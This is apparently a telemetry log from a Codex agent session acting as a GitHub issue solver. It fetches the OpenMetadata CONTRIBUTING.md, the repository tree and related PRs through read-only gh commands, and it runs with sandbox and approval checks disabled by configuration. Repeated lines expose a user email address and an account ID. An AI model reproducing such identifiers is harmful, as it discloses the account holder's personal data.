\n[2026-07-12T04:02:59.904Z] [INFO] 2026-07-12T04:02:59.903189Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:02:59.904Z] [INFO] 2026-07-12T04:02:59.903288Z DEBUG codex_http_client::default_client: Request completed method=POST url=https://chatgpt.com/backend-api/codex/analytics-events/events status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:02:59 GMT\", \"content-type\": \"application/json\", \"content-length\": \"88\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"x-oai-request-id\": \"fcd35bc1-0b4d-97ce-8eb3-7eeb518286fd\", \"x-openai-proxy-wasm\": \"v0.1\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cf-cache-status\": \"DYNAMIC\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=KUhUiuIwJ9zU01J6c1cGG8IyZxup64gMcud2bhRiLrByqRIDQi8UIyVBY7igA%2FVf94nWKWB6XyQBUrTHgdc%2BAVUhhMjWtm1KHzouXrUl5c%2B8qQ%2FAOWDpDsTdf16H\\\"}]}\", \"nel\": \"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"cf-ray\": \"a19d27d3d9e6ff5f-FRA\"} version=HTTP/1.1\n[2026-07-12T04:02:59.904Z] [INFO] \n[2026-07-12T04:02:59.952Z] [INFO] 2026-07-12T04:02:59.949798Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:59.952Z] [INFO] \n[2026-07-12T04:02:59.976Z] [INFO] 2026-07-12T04:02:59.976554Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:02:59.976Z] [INFO] \n[2026-07-12T04:02:59.980Z] [INFO] 2026-07-12T04:02:59.978130Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:02:59.980Z] [INFO] \n[2026-07-12T04:02:59.981Z] [INFO] 2026-07-12T04:02:59.981397Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:02:59.981Z] [INFO] \n[2026-07-12T04:03:00.099Z] [INFO] 2026-07-12T04:03:00.093618Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:03:00.099Z] [INFO] 2026-07-12T04:03:00.093698Z DEBUG codex_http_client::default_client: Request completed method=POST url=https://chatgpt.com/backend-api/codex/analytics-events/events status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:03:00 GMT\", \"content-type\": \"application/json\", \"content-length\": \"88\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"x-oai-request-id\": \"f3cd0d18-1a90-4c09-8eac-f8b70ab1aac0\", \"x-openai-proxy-wasm\": \"v0.1\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cf-cache-status\": \"DYNAMIC\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=RJhwY4Tb74D9KqTbyYG29ryrKxf%2BOKioVRMBGDNCC136eGECHXSQpM%2BvV1Hx3Bhtfz4LrpVUUYHtcqcCIbn3MPnKFfAV4400OJ3HYQ7DDYKB%2FnhPoPdUp4ZbKSo6\\\"}]}\", \"nel\": \"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"cf-ray\": \"a19d27d4fa92dc4a-FRA\"} version=HTTP/1.1\n[2026-07-12T04:03:00.099Z] [INFO] \n[2026-07-12T04:03:00.393Z] [INFO] 2026-07-12T04:03:00.390599Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:03:00.393Z] [INFO] \n[2026-07-12T04:03:00.415Z] [INFO] 2026-07-12T04:03:00.413121Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:03:00.415Z] [INFO] \n[2026-07-12T04:03:00.426Z] [INFO] 2026-07-12T04:03:00.424357Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:03:00.426Z] [INFO] \n[2026-07-12T04:03:00.437Z] [INFO] 2026-07-12T04:03:00.431559Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:03:00.437Z] [INFO] \n[2026-07-12T04:03:00.533Z] [INFO] 2026-07-12T04:03:00.531397Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:03:00.533Z] [INFO] 2026-07-12T04:03:00.531504Z DEBUG codex_http_client::default_client: Request completed method=POST url=https://chatgpt.com/backend-api/codex/analytics-events/events status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:03:00 GMT\", \"content-type\": \"application/json\", \"content-length\": \"88\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"x-oai-request-id\": \"8a281dfa-0bcb-4107-8928-2835cb2f94b1\", \"x-openai-proxy-wasm\": \"v0.1\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cf-cache-status\": \"DYNAMIC\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=dsbd2BsKa8UPa7d9E8lo1pK3EQWLa%2BgGDAUqmTRZmHDTVCLrLLUuy6ReprAhIS9tYRvYyDiJ2AHo3GE6BSN1ttGTcl5KRUHA4BDHGW1YaWUNHp%2FUfee1Wlxg%2FUZC\\\"}]}\", \"nel\": \"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"cf-ray\": \"a19d27d7dd9e71cb-FRA\"} version=HTTP/1.1\n[2026-07-12T04:03:00.533Z] [INFO] \n[2026-07-12T04:03:00.558Z] [INFO] 2026-07-12T04:03:00.558079Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-177ef86b-02c1-4ddf-8538-b70e743cb244 arguments={\"cmd\":\"gh api repos/open-metadata/OpenMetadata/contents/CONTRIBUTING.md -H 'Accept: application/vnd.github.raw+json'\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":30000,\"max_output_tokens\":30000} duration_ms=1593 success=true output=Chunk ID: 7243bf\n[2026-07-12T04:03:00.558Z] [INFO] Wall time: 1.3581 seconds\n[2026-07-12T04:03:00.558Z] [INFO] Process exited with code 0\n[2026-07-12T04:03:00.558Z] [INFO] Original token count: 303\n[2026-07-12T04:03:00.558Z] [INFO] Output:\n[2026-07-12T04:03:00.558Z] [INFO] # Contributors\n[2026-07-12T04:03:00.558Z] [INFO] \n[2026-07-12T04:03:00.558Z] [INFO] We \u2764\ufe0f all contributions, big and small!\n[2026-07-12T04:03:00.558Z] [INFO] \n[2026-07-12T04:03:00.558Z] [INFO] Read [Build Code and Run Tests](https://docs.open-metadata.org/developers/contribute/build-code-and-run-tests) for how to setup your local development environment. Get started with our [Good first issues](https://github.com/open-metadata/OpenMetadata/issues?q=is%3Aissue+is%3Aopen+label%3A%22good-first-issue%22).\n[2026-07-12T04:03:00.558Z] [INFO] \n[2026-07-12T04:03:00.558Z] [INFO] We also recommend joining the OpenMetadata [Slack Workspace](https://slack.open-metadata.org/) to meet the team, stay up to date with product features, and chat with other contributors! \n[2026-07-12T04:03:00.558Z] [INFO] \n[2026-07-12T04:03:00.558Z] [INFO] Once joining our Slack we recommend Introducing yourself in the #introductions channel. Tell us a bit about yourself and how you are currently using OpenMetadata if you are.\n[2026-07-12T04:03:00.558Z] [INFO] \n[2026-07-12T04:03:00.558Z] [INFO] If you need help getting started in contributing, you can reach out in the #support channel and ask if anyone would be available to get you up to speed or just answer some questions.  \n[2026-07-12T04:03:00.558Z] [INFO] \n[2026-07-12T04:03:00.558Z] [INFO] If you just have suggestions for how to improve OpenMetadata you can submit your feedback in #feature-requests. If you have a fix or contribution in mind but need some guidance, please post in the #contributor channel with a description of the change before opening a new Github issue. \n[2026-07-12T04:03:00.558Z] [INFO]  mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:03:00.558Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:03:00.558Z] [INFO] 2026-07-12T04:03:00.558134Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-177ef86b-02c1-4ddf-8538-b70e743cb244 duration_ms=1593 success=true arguments_length=214 output_length=1316 output_line_count=18 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:03:00.558Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:03:00.558Z] [INFO] \n[2026-07-12T04:03:00.623Z] [INFO] 2026-07-12T04:03:00.621180Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:03:00.623Z] [INFO] \n[2026-07-12T04:03:00.644Z] [INFO] 2026-07-12T04:03:00.644261Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:03:00.644Z] [INFO] \n[2026-07-12T04:03:00.651Z] [INFO] 2026-07-12T04:03:00.650686Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:03:00.651Z] [INFO] \n[2026-07-12T04:03:00.659Z] [INFO] 2026-07-12T04:03:00.654201Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:03:00.659Z] [INFO] \n[2026-07-12T04:03:00.672Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_20\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc \\\"gh api repos/open-metadata/OpenMetadata/contents/CONTRIBUTING.md -H 'Accept: application/vnd.github.raw+json'\\\"\",\"aggregated_output\":\"# Contributors\\n\\nWe \u2764\ufe0f all contributions, big and small!\\n\\nRead [Build Code and Run Tests](https://docs.open-metadata.org/developers/contribute/build-code-and-run-tests) for how to setup your local development environment. Get started with our [Good first issues](https://github.com/open-metadata/OpenMetadata/issues?q=is%3Aissue+is%3Aopen+label%3A%22good-first-issue%22).\\n\\nWe also recommend joining the OpenMetadata [Slack Workspace](https://slack.open-metadata.org/) to meet the team, stay up to date with product features, and chat with other contributors! \\n\\nOnce joining our Slack we recommend Introducing yourself in the #introductions channel. Tell us a bit about yourself and how you are currently using OpenMetadata if you are.\\n\\nIf you need help getting started in contributing, you can reach out in the #support channel and ask if anyone would be available to get you up to speed or just answer some questions.  \\n\\nIf you just have suggestions for how to improve OpenMetadata you can submit your feedback in #feature-requests. If you have a fix or contribution in mind but need some guidance, please post in the #contributor channel with a description of the change before opening a new Github issue. \\n\",\"exit_code\":0,\"status\":\"completed\"}}\n[2026-07-12T04:03:00.672Z] [INFO] \n[2026-07-12T04:03:00.862Z] [INFO] 2026-07-12T04:03:00.860328Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:03:00.862Z] [INFO] 2026-07-12T04:03:00.860444Z DEBUG codex_http_client::default_client: Request completed method=POST url=https://chatgpt.com/backend-api/codex/analytics-events/events status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:03:00 GMT\", \"content-type\": \"application/json\", \"content-length\": \"88\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"x-oai-request-id\": \"c61f7c95-5209-42b7-b025-3f17d10b3928\", \"x-openai-proxy-wasm\": \"v0.1\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cf-cache-status\": \"DYNAMIC\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=JHg2HLyUK%2FIn3bmcHq8hkHkHXDdERz5w4PTUhrOoIL91yJ52oaiv7ox8vwH4kTF07MgKxDfzUkFUgSoOZy7Lgda%2BmK6HAE56Jx1VUoEfyYo4pemaNS0grVRuoMqF\\\"}]}\", \"nel\": \"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"cf-ray\": \"a19d27d93dcdbbcd-FRA\"} version=HTTP/1.1\n[2026-07-12T04:03:00.862Z] [INFO] \n[2026-07-12T04:03:00.903Z] [INFO] 2026-07-12T04:03:00.903395Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-1127f142-2f1c-4237-a193-4829c1dcdd61 arguments={\"cmd\":\"gh api 'repos/open-metadata/OpenMetadata/git/trees/main?recursive=1' --jq '[.tree[] | select(.path==\\\"README.md\\\" or .path==\\\"CONTRIBUTING.md\\\" or .path==\\\"SECURITY.md\\\" or .path==\\\"openmetadata-spec\\\" or .path==\\\"openmetadata-service\\\" or .path==\\\"openmetadata-ui\\\" or .path==\\\"ingestion\\\" or .path==\\\"openmetadata-dist\\\" or .path==\\\"docker\\\" or .path==\\\"openmetadata-clients\\\" or .path==\\\"openmetadata-docs\\\" or .path==\\\".github/workflows\\\") | {path,type}]'\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":30000,\"max_output_tokens\":30000} duration_ms=1937 success=true output=Chunk ID: e039bf\n[2026-07-12T04:03:00.903Z] [INFO] Wall time: 1.7023 seconds\n[2026-07-12T04:03:00.903Z] [INFO] Process exited with code 0\n[2026-07-12T04:03:00.903Z] [INFO] Original token count: 111\n[2026-07-12T04:03:00.903Z] [INFO] Output:\n[2026-07-12T04:03:00.903Z] [INFO] [{\"path\":\".github/workflows\",\"type\":\"tree\"},{\"path\":\"CONTRIBUTING.md\",\"type\":\"blob\"},{\"path\":\"README.md\",\"type\":\"blob\"},{\"path\":\"SECURITY.md\",\"type\":\"blob\"},{\"path\":\"docker\",\"type\":\"tree\"},{\"path\":\"ingestion\",\"type\":\"tree\"},{\"path\":\"openmetadata-clients\",\"type\":\"tree\"},{\"path\":\"openmetadata-dist\",\"type\":\"tree\"},{\"path\":\"openmetadata-service\",\"type\":\"tree\"},{\"path\":\"openmetadata-spec\",\"type\":\"tree\"},{\"path\":\"openmetadata-ui\",\"type\":\"tree\"}]\n[2026-07-12T04:03:00.903Z] [INFO]  mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:03:00.903Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:03:00.903Z] [INFO] \n[2026-07-12T04:03:00.906Z] [INFO] 2026-07-12T04:03:00.904188Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-1127f142-2f1c-4237-a193-4829c1dcdd61 duration_ms=1937 success=true arguments_length=564 output_length=548 output_line_count=6 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:03:00.904Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:03:00.906Z] [INFO] \n[2026-07-12T04:03:00.916Z] [INFO] 2026-07-12T04:03:00.916419Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec call_id=call_TFDuOuM3NVuwrNC5tOrYEAs9 arguments=const cmds=[\n[2026-07-12T04:03:00.916Z] [INFO]  [\"related_prs\",\"gh pr list --repo link-foundation/meta-ontology --state merged --limit 30 --json number,title,mergedAt,url,body\"],\n[2026-07-12T04:03:00.916Z] [INFO]  [\"om_repo\",\"gh api repos/open-metadata/OpenMetadata\"],\n[2026-07-12T04:03:00.916Z] [INFO]  [\"om_release\",\"gh api repos/open-metadata/OpenMetadata/releases/latest\"],\n[2026-07-12T04:03:00.916Z] [INFO]  [\"om_languages\",\"gh api repos/open-metadata/OpenMetadata/languages\"],\n[2026-07-12T04:03:00.916Z] [INFO]  [\"om_tree\",\"gh api 'repos/open-metadata/OpenMetadata/git/trees/main?recursive=1' --jq '[.tree[] | select(.path==\\\"README.md\\\" or .path==\\\"CONTRIBUTING.md\\\" or .path==\\\"SECURITY.md\\\" or .path==\\\"openmetadata-spec\\\" or .path==\\\"openmetadata-service\\\" or .path==\\\"openmetadata-ui\\\" or .path==\\\"ingestion\\\" or .path==\\\"openmetadata-dist\\\" or .path==\\\"docker\\\" or .path==\\\"openmetadata-clients\\\" or .path==\\\"openmetadata-docs\\\" or .path==\\\".github/workflows\\\") | {path,type}]'\"],\n[2026-07-12T04:03:00.916Z] [INFO]  [\"om_readme\",\"gh api repos/open-metadata/OpenMetadata/readme -H 'Accept: application/vnd.github.raw+json'\"],\n[2026-07-12T04:03:00.916Z] [INFO]  [\"om_contrib\",\"gh api repos/open-metadata/OpenMetadata/contents/CONTRIBUTING.md -H 'Accept: application/vnd.github.raw+json'\"]\n[2026-07-12T04:03:00.916Z] [INFO] ];\n[2026-07-12T04:03:00.916Z] [INFO] const rs=await Promise.all(cmds.map(async ([n,c])=>[n,await tools.exec_command({cmd:c,workdir:\"/tmp/gh-issue-solver-1783828904396\",yield_time_ms:30000,max_output_tokens:30000})]));\n[2026-07-12T04:03:00.916Z] [INFO] for(const [n,r] of rs) text(`===== ${n} =====\\n${r.output}`);\n[2026-07-12T04:03:00.916Z] [INFO]  duration_ms=2081 success=true output=Script completed\n[2026-07-12T04:03:00.916Z] [INFO] Wall time 2.1 seconds\n[2026-07-12T04:03:00.916Z] [INFO] Output:\n[2026-07-12T04:03:00.916Z] [INFO] \n[2026-07-12T04:03:00.916Z] [INFO] Warning: truncated output (original token count: 17200)\n[2026-07-12T04:03:00.916Z] [INFO] Total output lines: 338\n[2026-07-12T04:03:00.916Z] [INFO] \n[2026-07-12T04:03:00.916Z] [INFO] ===== related_prs =====\n[2026-07-12T04:03:00.916Z] [INFO] [{\"body\":\"## Summary\\n\\n- Decouple GitHub Pages documentation deployment from package/GitHub release publication.\\n- Gate `deploy-docs` on successful `build` for main pushes and manual instant releases, so docs can still publish when package release fails later.\\n- Fix the observed `rust-script` release failure under `RUSTFLAGS=-Dwarnings`.\\n- Add an issue-3 case study with preserved CI run metadata, compressed failed-run logs, template workflow snapshots, and upstream-template follow-up.\\n\\nFixes #3\\n\\n## Reproduction\\n\\nThe preserved main-branch runs `24979900862` and `24983875003` both showed this sequence:\\n\\n1. `Build Package` succeeded.\\n2. `Auto Release` failed in `Check if version already released or no fragments`.\\n3. `Deploy Rust Documentation` was skipped because it depended on release jobs.\\n\\nThe detailed case study and raw data are in `docs/case-studies/issue-3/`.\\n\\n## Verification\\n\\n- `cargo fmt --check`\\n- `cargo test --all-features --verbose`\\n- `cargo test --doc --verbose`\\n- `cargo test --test unit ci_cd::workflow_release::documentation_deploy_is_independent_from_release_publication`\\n- `cargo clippy --all-targets --all-features`\\n- `rust-script scripts/check-file-size.rs`\\n- `RUSTFLAGS=-Dwarnings HAS_FRAGMENTS=true rust-script scripts/check-release-needed.rs`\\n- `cargo build --release --verbose`\\n- `cargo package --list --allow-dirty`\\n\\n## Template Follow-Up\\n\\nThe Rust CI/CD template has the same `deploy-docs` dependency issue. I filed:\\n\\nhttps://github.com/link-foundation/rust-ai-driven-development-pipeline-template/issues/38\\n\",\"mergedAt\":\"2026-04-27T08:59:27Z\",\"number\":4,\"title\":\"Fix GitHub Pages docs deployment independence\",\"url\":\"https://github.com/link-foundation/meta-ontology/pull/4\"},{\"body\":\"## Summary\\n\\nFirst prototype (MVP) of the meta-ontology project, addressing\\n[issue #1](https://github.com/link-foundation/meta-ontology/i\n[2026-07-12T04:03:00.916Z] [INFO] [... telemetry preview truncated ...] mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:03:00.916Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:03:00.916Z] [INFO] 2026-07-12T04:03:00.916505Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec call_id=call_TFDuOuM3NVuwrNC5tOrYEAs9 duration_ms=2081 success=true arguments_length=1307 output_length=2086 output_line_count=10 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:03:00.916Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:03:00.916Z] [INFO] \n[2026-07-12T04:03:00.922Z] [INFO] 2026-07-12T04:03:00.916723Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::tools::parallel: tool call completed event.name=\"codex.tool_call\" trace_id= conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn_id=019f547d-6ea8-7232-8540-37894db8bb13 tool_name=exec call_id=call_TFDuOuM3NVuwrNC5tOrYEAs9 tool_source=\"direct\" execution_started=true dispatch_duration_ms=0 handler_duration_ms=2082 total_duration_ms=2082\n[2026-07-12T04:03:00.922Z] [INFO] 2026-07-12T04:03:00.916980Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:03:00.922Z] [INFO] \n[2026-07-12T04:03:00.960Z] [INFO] 2026-07-12T04:03:00.959417Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:03:00.960Z] [INFO] \n[2026-07-12T04:03:00.964Z] [INFO] 2026-07-12T04:03:00.962276Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:03:00.964Z] [INFO] \n[2026-07-12T04:03:00.969Z] [INFO] 2026-07-12T04:03:00.967631Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:03:00.969Z] [INFO] \n[2026-07-12T04:03:00.992Z] [INFO] 2026-07-12T04:03:00.988845Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: feedback_tags: model=\"gpt-5.6-sol\" approval_policy=Never sandbox_policy=DangerFullAccess effort=Some(Medium) auth_mode=Some(Chatgpt) features=[ShellTool, CodexHooks, CodeModeHost, UnifiedExec, TerminalResizeReflow, ShellSnapshot, EnableRequestCompression, Collab, Apps, ToolSearchAlwaysDeferMcpTools, ToolSuggest, Plugins, InAppBrowser, BrowserUse, BrowserUseFullCdpAccess, BrowserUseExternal, ComputerUse, RemotePlugin, PluginSharing, ImageGeneration, ResizeAllImages, SkillMcpDependencyInstall, MentionsV2, GuardianApproval, Goals, ToolCallMcpElicitation, AuthElicitation, Personality, FastMode, RemoteCompactionV2, WorkspaceDependencies, Sqlite, Steer, CollaborationModes, TuiAppServer]\n[2026-07-12T04:03:00.992Z] [INFO] \n[2026-07-12T04:03:01.064Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_21\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc \\\"gh api 'repos/open-metadata/OpenMetadata/git/trees/main?recursive=1' --jq '[.tree[] | select(.path==\\\\\\\"README.md\\\\\\\" or .path==\\\\\\\"CONTRIBUTING.md\\\\\\\" or .path==\\\\\\\"SECURITY.md\\\\\\\" or .path==\\\\\\\"openmetadata-spec\\\\\\\" or .path==\\\\\\\"openmetadata-service\\\\\\\" or .path==\\\\\\\"openmetadata-ui\\\\\\\" or .path==\\\\\\\"ingestion\\\\\\\" or .path==\\\\\\\"openmetadata-dist\\\\\\\" or .path==\\\\\\\"docker\\\\\\\" or .path==\\\\\\\"openmetadata-clients\\\\\\\" or .path==\\\\\\\"openmetadata-docs\\\\\\\" or .path==\\\\\\\".github/workflows\\\\\\\") | {path,type}]'\\\"\",\"aggregated_output\":\"[{\\\"path\\\":\\\".github/workflows\\\",\\\"type\\\":\\\"tree\\\"},{\\\"path\\\":\\\"CONTRIBUTING.md\\\",\\\"type\\\":\\\"blob\\\"},{\\\"path\\\":\\\"README.md\\\",\\\"type\\\":\\\"blob\\\"},{\\\"path\\\":\\\"SECURITY.md\\\",\\\"type\\\":\\\"blob\\\"},{\\\"path\\\":\\\"docker\\\",\\\"type\\\":\\\"tree\\\"},{\\\"path\\\":\\\"ingestion\\\",\\\"type\\\":\\\"tree\\\"},{\\\"path\\\":\\\"openmetadata-clients\\\",\\\"type\\\":\\\"tree\\\"},{\\\"path\\\":\\\"openmetadata-dist\\\",\\\"type\\\":\\\"tree\\\"},{\\\"path\\\":\\\"openmetadata-service\\\",\\\"type\\\":\\\"tree\\\"},{\\\"path\\\":\\\"openmetadata-spec\\\",\\\"type\\\":\\\"tree\\\"},{\\\"path\\\":\\\"openmetadata-ui\\\",\\\"type\\\":\\\"tree\\\"}]\\n\",\"exit_code\":0,\"status\":\"completed\"}}\n[2026-07-12T04:03:01.064Z] [INFO] \n[2026-07-12T04:03:01.075Z] [INFO] 2026-07-12T04:03:01.073864Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.log_only: event.name=\"codex.websocket_request\" duration_ms=2 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:03:01.073Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:03:01.075Z] [INFO] 2026-07-12T04:03:01.074897Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.trace_safe: event.name=\"codex.websocket_request\" duration_ms=2 success=\"true\" auth.env_openai_api_key_present=false 